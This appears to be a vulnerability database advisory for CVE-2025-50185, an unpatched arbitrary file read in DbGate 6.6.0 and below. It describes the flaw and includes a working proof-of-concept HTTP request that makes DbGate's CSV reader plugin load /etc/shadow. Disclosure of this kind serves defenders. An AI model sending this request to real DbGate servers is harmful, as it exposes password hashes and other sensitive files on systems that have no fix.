VYPR
High severityOSV Advisory· Published Jul 26, 2025· Updated Apr 15, 2026

CVE-2025-50185

CVE-2025-50185

Description

DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.

POST /runners/load-reader HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: 
Content-Type: application/json
Authorization: Bearer 
Content-Length: 127
Origin: http://192.168.124.119:3000
Connection: keep-alive
Cookie: 
Priority: u=0
Cache-Control: max-age=0

{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}}

The request payload: !Screenshot From 2025-05-31 22-54-49

Lines of the file being returned: !Screenshot From 2025-05-31 22-55-23

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2
  • Dbgate/DbgateOSV2 versions
    list, packages-api-v1.0.6, packages-api-v1.0.7, …+ 1 more
    • (no CPE)range: list, packages-api-v1.0.6, packages-api-v1.0.7, …
    • (no CPE)range: <=6.6.0

Patches

Vulnerability mechanics

References

2

News mentions

0

No linked articles in our index yet.